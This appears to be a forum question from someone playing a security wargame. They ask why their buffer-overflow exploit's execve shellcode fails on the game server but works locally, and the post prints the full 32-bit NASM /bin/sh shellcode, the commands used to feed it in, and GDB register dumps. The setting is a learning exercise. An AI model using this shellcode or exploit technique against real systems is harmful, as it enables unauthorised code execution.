For a wargame, I'm exploiting a buffer overflow to inject some shellcode to spawn /bin/sh
. I started by writing my own shellcode, but I got some bizarre errors, so I tried a piece of known working shellcode – and got the same error! However, it gets weirder: running it locally (i.e. not on the wargame server) works fine (so I've verified the problem isn't with the code), and running it in GDB produces a different error.
When run normally:
$ ./program < /tmp/shellcode
[program output...]
zsh: segmentation fault ./program < /tmp/shellcode
When run in GDB:
(gdb) run < /tmp/shellcode
[program output...]
process 2242 is executing new program: /proc/2242/exe
/proc/2242/exe: No such file or directory.
The shellcode can be found here, or, in NASM Intel syntax:
BITS 32
; Set up "/bin/sh" string
xor eax, eax
push eax
push 0x68732F2F
push 0x6E69622F
; Set up execve arguments
mov ebx, esp
mov ecx, eax
mov edx, eax
mov al, 0xB ; execve's ID
int 0x80
; exit()
xor eax, eax
inc eax
int 0x80
I've confirmed in GDB that the code is inserted properly, that it's jumped to in the correct place, and even that execution reaches the int 0x80
that's supposed to spawn a shell – but as soon as you try to si
past it, it gives you the error above.
I've also confirmed at the point of the int 0x80
that the registers are, as far as I can tell, in order for an execve
call. Here are the inspected registers from my own shellcode (not from the shellcode above, which sets up ecx
and edx
to null pointers, but this produces the same error):
(gdb) x/i $pc
=> 0xffffdc47: int 0x80
eax 0xb 11
(gdb) # EBX should point to "/bin/sh"
(gdb) x/s $ebx
0xffffdc4e: "/bin/sh"
(gdb) # ECX should point to a null-terminated pointer array.
(gdb) x/2wx $ecx
0xffffdc31: 0xffffdc4e 0x00000000
(gdb) # EDX should point to NULL.
(gdb) x/wx $edx
0xffffdc35: 0x00000000
Why does this execve
syscall not work? And… what in the world could /proc/2242/exe
be? The string sent to execve
is "/bin/sh"
! Given that this works when run locally, could the issue somehow be with the server's environment?
Some considerations:
file
output:ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped
- ASLR is off.
- It's not a pointer alignment issue – I tried aligning them to 4-byte boundaries, and nothin' changed.
/bin/sh
exists, so that's not the file that isn't being found.- To reiterate, just to be sure, it works with the exact same binary and the exact same shellcode on another system, so it's not an issue with the code itself.